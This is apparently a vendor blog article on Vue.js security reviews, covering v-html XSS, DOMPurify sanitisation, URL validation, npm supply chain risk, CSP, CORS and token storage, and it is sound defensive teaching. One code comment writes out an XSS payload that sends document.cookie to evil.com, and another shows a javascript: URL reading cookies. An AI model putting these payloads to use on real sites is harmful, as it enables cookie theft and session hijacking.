Spotting XSS, v-html and Third-Party Risk
Vue.js protects against most XSS attacks out of the box, until developers reach for v-html, innerHTML or unsanitized API data. A Vue security review reveals where these safeguards get bypassed and how to treat third-party dependencies and a missing CSP as additional attack vectors.
Table of Contents
- 1. Vue's built-in XSS protection and its limits
- 2. v-html: the most common XSS vector in Vue apps
- 3. HTML sanitization with DOMPurify
- 4. Unsafe interpolation: URL attributes and event handlers
- 5. Third-party risk: npm packages as an attack vector
- 6. Content Security Policy for Vue applications
- 7. CORS and API security in the SPA context
- 8. Token storage and auth security
- 9. Security patterns compared
- 10. Summary
- 11. FAQ
1. Vue's built-in XSS protection and its limits
By default, Vue.js escapes every expression rendered into the DOM through double-curly interpolation {{ variable }} at template compile time. That means characters like <, >, & and " are converted into their HTML entities before they end up in the DOM. An attacker who injects malicious JavaScript into a variable that is then rendered via {{ variable }} sees their code displayed as visible text, not as executable script. This Vue Security mechanism automatically defends against the most common form of XSS attack without any developer action.
The limits of this protection are clearly defined and explicitly documented in the Vue Security docs: the protection applies exclusively to template interpolation with {{ }}. As soon as developers fall back to raw HTML output, via v-html, direct innerHTML access through template refs, or by including third-party libraries that internally call DOM methods, Vue's automatic protection no longer applies. A Vue Security Review must therefore systematically identify every place where this safeguard is bypassed and check whether appropriate sanitization takes place there.
2. v-html: the most common XSS vector in Vue apps
The v-html directive sets the element's innerHTML to the given value without any escaping. This is the most common source of XSS vulnerabilities in Vue applications and a mandatory checkpoint in every Vue Security Review. The typical use case: a CMS or blog editor delivers HTML content from an API that is rendered directly with v-html="articleContent". If the API response contains malicious JavaScript, whether through a compromised content editor, an API injection, or a man-in-the-middle attack, that script runs in the user's browser.
The problem is not the directive itself but using it with uncontrolled data sources. Vue Security best practice: use v-html only with content that is either controlled by your own team or has passed through a server-side sanitization pipeline. Server-side sanitization should always be preferred over client-side sanitization because an attacker can manipulate client code. If v-html is genuinely necessary, DOMPurify must be used client-side as a second line of defense. A v-html with user-generated content and no sanitization is a critical security hole.
// WRONG: v-html with uncontrolled API data, XSS risk
// <div v-html="articleFromApi"></div>
// If API returns: <img src=x onerror="document.location='https://evil.com?c='+document.cookie">
// -> cookies stolen, script executed in user's browser
// RIGHT: sanitize before rendering with DOMPurify
import DOMPurify from 'dompurify'
// Composable for safe HTML rendering
export function useSafeHtml() {
const sanitize = (dirty: string): string => {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br', 'h2', 'h3'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
// Force all links to be safe
FORCE_BODY: true,
RETURN_DOM_FRAGMENT: false
})
}
return { sanitize }
}
// In component:
// const { sanitize } = useSafeHtml()
// const safeHtml = computed(() => sanitize(props.content))
// <div v-html="safeHtml"></div>
3. HTML sanitization with DOMPurify
DOMPurify is the standard solution for client-side HTML sanitization and an indispensable tool in the Vue Security stack. The library parses HTML in an isolated DOM context, strips all dangerous tags and attributes, and returns safe HTML. Importantly, DOMPurify is a complement to server-side sanitization, not a replacement. An attacker who has already gained JavaScript execution rights in the victim's browser (for example through a different XSS hole) can disable DOMPurify via DOM manipulation. Server-side sanitization with libraries such as sanitize-html (Node.js) or HTMLPurifier (PHP) must always be the first line of defense.
DOMPurify's configuration must be restrictive. The default allowlist is too generous for most use cases. A Vue Security Review should check whether ALLOWED_TAGS and ALLOWED_ATTR are restricted to what is genuinely necessary. Particularly dangerous: javascript: URLs in href attributes, data: URLs in src attributes, and event handler attributes such as onload, onerror, onclick. DOMPurify strips these by default, but a custom configuration can accidentally disable these safeguards.
4. Unsafe interpolation: URL attributes and event handlers
Besides v-html, there are other places in Vue templates where Vue Security risks arise. Dynamic URL attributes such as :href="userUrl" or :src="userImage" can be filled with javascript: or data: URLs that execute JavaScript on click or load. Vue warns in the development build when a javascript: URL is detected in an href attribute, but that protection does not apply in production builds. The safe alternative: validate URLs before binding them into attributes, either through a whitelist of allowed protocols (https://, mailto:) or by rejecting any URL that does not start with your own hostname.
A subtler danger is dynamically generated components with :is="componentName". If the component name comes from an uncontrolled source and can point to global components or Vue internals, it can be used to execute arbitrary rendering. The safe variant: a fixed map from allowed component names to imported component objects, never direct string resolution against the global component registry.
// WRONG: dynamic URL binding without validation
// <a :href="user.website">Visit</a>
// user.website = "javascript:alert(document.cookie)" -> XSS on click
// RIGHT: validate URL protocol before binding
import { computed } from 'vue'
function isSafeUrl(url: string): boolean {
try {
const parsed = new URL(url)
// Only allow safe protocols
return ['https:', 'http:', 'mailto:'].includes(parsed.protocol)
} catch {
return false
}
}
// In composable
export function useSafeUrl(rawUrl: string) {
const safeUrl = computed(() =>
isSafeUrl(rawUrl) ? rawUrl : '#'
)
return { safeUrl }
}
// WRONG: dynamic component from user input
// <component :is="userProvidedComponentName" />
// RIGHT: allowlist of safe components
const ALLOWED_COMPONENTS: Record<string, Component> = {
'hero': HeroComponent,
'gallery': GalleryComponent,
'text-block': TextBlockComponent,
}
const safeComponent = computed(() =>
ALLOWED_COMPONENTS[props.type] ?? DefaultComponent
)
// <component :is="safeComponent" />
5. Third-party risk: npm packages as an attack vector
The supply chain attack is one of the fastest-growing threats to frontend applications. A compromised npm package, whether through a hijacked maintainer account, a malicious fork, or a typosquatting attack on a similarly named package, can enter the application at build time and execute arbitrary code in the user's browser. Vue Security reviews must therefore assess not just your own code but the entire dependency chain. Tools such as npm audit, pnpm audit and Snyk analyze known CVEs in dependencies, but they offer no protection against zero-day compromises.
Preventive measures for third-party risk: keep package-lock.json or pnpm-lock.yaml under version control and check in CI pipelines that the installed state matches the lock file (npm ci instead of npm install). Enforce Subresource Integrity (SRI) for scripts loaded from a CDN. Minimize dependencies: every npm package is a potential attack surface. Anyone who pulls in a library for a function that could be solved in 15 lines of your own code unnecessarily enlarges the attack surface. Automated dependency updates via Dependabot or Renovate bot keep known vulnerabilities short-lived.
6. Content Security Policy for Vue applications
Content Security Policy (CSP) is an HTTP header-based security layer that tells the browser which resources may be loaded from which sources. A correctly configured CSP is the strongest technical measure against XSS in Vue applications: even if an attacker manages to inject malicious JavaScript into the DOM, the CSP prevents its execution if it does not come from an allowed source. The challenge with Vue applications: Vue's template compiler produces inline scripts by default for server-side rendering. For pure client-side apps this is not a problem, but for SSR setups unsafe-inline must be avoided and nonces or hashes used instead.
A realistic CSP header for a Vue.js SPA without SSR starts with default-src 'self', allows scripts only from your own domain and explicitly listed CDNs, forbids object-src 'none' (Flash, plugins), and sets base-uri 'self'. unsafe-eval must not be set; Vue 3 does not need it, though Vue 2 does in some configurations. Anyone who sees unsafe-eval should identify the cause and replace it with a safe alternative. Sending CSP violations via report-uri or report-to to an endpoint and evaluating them there enables early detection of attack attempts.
// vite.config.ts: CSP via Vite plugin for development
// Production: set via web server headers (Nginx/Apache)
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
export default defineConfig({
plugins: [
vue(),
{
// Development CSP plugin (simplified)
name: 'csp-headers',
configureServer(server) {
server.middlewares.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
"script-src 'self'", // no unsafe-inline, no unsafe-eval
"style-src 'self' 'unsafe-inline'", // Tailwind needs inline styles
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.mironsoft.de",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
"frame-ancestors 'none'",
].join('; ')
)
next()
})
}
}
]
})
// Nginx production config snippet:
// add_header Content-Security-Policy "default-src 'self'; script-src 'self'; ..." always;
7. CORS and API security in the SPA context
CORS (Cross-Origin Resource Sharing) does not protect the Vue application itself but the API it calls. A misconfigured CORS policy on the API, for example Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true, is a critical misconfiguration that lets attacker websites make requests to the API in the context of a logged-in user. Vue Security Reviews must therefore include the backend API's CORS configuration in the assessment, even though it is not part of the Vue code.
The secure CORS configuration for an API consumed by a Vue SPA: set Access-Control-Allow-Origin to the specific allowed domains, never use a wildcard when credentials are transmitted, restrict Access-Control-Allow-Methods to the HTTP methods actually used, and set Access-Control-Max-Age for preflight caching. Avoid API tokens in localStorage if the application is at risk of XSS; HttpOnly cookies, which the browser sends automatically, are the safer alternative for session tokens.
8. Token storage and auth security
Where to store auth tokens in a Vue SPA is one of the most discussed Vue Security questions. localStorage and sessionStorage are fully readable by JavaScript, so an XSS attack on the app can immediately extract every token stored there. HttpOnly cookies are not readable by JavaScript and are therefore resistant to token theft via XSS. The downside: they are vulnerable to CSRF attacks, which are largely mitigated by SameSite cookie attributes (SameSite=Strict or SameSite=Lax). For highly security-critical applications, the Backend-for-Frontend (BFF) pattern is the best approach: the Vue app talks only to its own backend server, which handles token management and never hands tokens to the browser.
Refresh tokens never belong in localStorage. If access tokens are short-lived (15 minutes) and refresh tokens live in HttpOnly cookies, the compromise window from an XSS attack is limited to the access token's lifetime. Pinia stores for auth state are fine for the app's runtime because their content lives in memory and is cleared after a tab reload. Anyone who needs persistent auth state has to store a token, and choosing the right storage is the decisive security factor.
9. Security patterns compared
The choice between different security approaches in Vue applications directly affects the application's risk profile. The following table summarizes the key Vue Security decisions and their implications:
| Topic | Unsafe | Safe | Risk |
|---|---|---|---|
| HTML output | v-html without sanitization |
DOMPurify + server-side sanitization | XSS, cookie theft |
| Token storage | localStorage for JWTs | HttpOnly cookies with SameSite | Token theft via XSS |
| URL binding | :href="userUrl" directly |
Validate protocol whitelist | javascript:-URL execution |
| Dependencies | npm install without lock |
npm ci + Dependabot |
Supply chain attack |
| Script execution | No CSP header | CSP with script-src 'self' |
Injected scripts get executed |
A complete Vue Security Review covers all five categories. The most common findings in practice are v-html without sanitization and auth tokens in localStorage, both widespread, both avoidable. A Vue application's risk profile improves most from consistent sanitization of all HTML output, secure token storage and a restrictive CSP.
Mironsoft
Vue.js security reviews and frontend security architecture
Need a Vue Security Review for your project?
We systematically analyze Vue applications for XSS vectors, unsafe token storage, missing CSP and third-party risk, and deliver prioritized action plans.
XSS audit
Systematic analysis of every v-html spot, URL binding and dynamic component
CSP configuration
Setting up and testing Content Security Policy, without unsafe-inline and unsafe-eval
Dependency scan
npm audit, Snyk integration and Dependabot setup for automatic vulnerability tracking
10. Summary
Vue's automatic XSS protection through template escaping is solid, but it only protects the default case. A complete Vue Security Review uncovers every place where this protection is bypassed: v-html with unsanitized data, dynamic URL bindings without protocol validation, dynamic components with uncontrolled names, and auth tokens in localStorage. DOMPurify as a second line of defense for HTML output, HttpOnly cookies for token storage, and a restrictive CSP are the three technical measures with the biggest security payoff.
Third-party risk from npm packages is an often underestimated attack vector. npm ci instead of npm install in CI, lock files under version control, and automated dependency updates all shrink the window for known vulnerabilities. The goal of a Vue Security Review is not zero risk, that is unattainable. The goal is the systematic reduction of the attack surface to a manageable level, so that successful attacks can be isolated, detected and fixed quickly.
Vue Security Review, the essentials at a glance
Securing v-html
Server-side sanitization as the first line, DOMPurify client-side as the second. Never use v-html with uncontrolled API data and no sanitization.
Token storage
HttpOnly cookies with a SameSite attribute instead of localStorage. In an XSS attack, localStorage tokens are immediately readable and extractable.
Content Security Policy
script-src 'self' without unsafe-inline and unsafe-eval. CSP is the strongest technical measure against injected scripts.
Third-party risk
npm ci instead of npm install, commit lock files, enable Dependabot, minimize dependencies, every package is attack surface.
11. FAQ: Vue Security Review, XSS and Third-Party Risk
1Is Vue.js secure against XSS out of the box?
{{ }} interpolation. v-html, innerHTML via template refs and third-party DOM manipulation are not automatically protected.2When am I allowed to use v-html?
3Why localStorage is unsafe for tokens
4What is a supply chain attack?
5Setting up CSP for a Vue SPA?
default-src 'self'; script-src 'self'; object-src 'none'. No unsafe-inline or unsafe-eval for scripts.6Is DOMPurify alone enough XSS protection?
7Securing dynamic URL binding?
new URL(url), check the protocol against a whitelist (https:, mailto:). Reject javascript: and data: URLs.8Securing :is with dynamic components?
9Avoiding CORS misconfigurations on the API?
Access-Control-Allow-Origin: * with credentials. List origins explicitly, restrict methods, set SameSite cookie attributes for CSRF protection.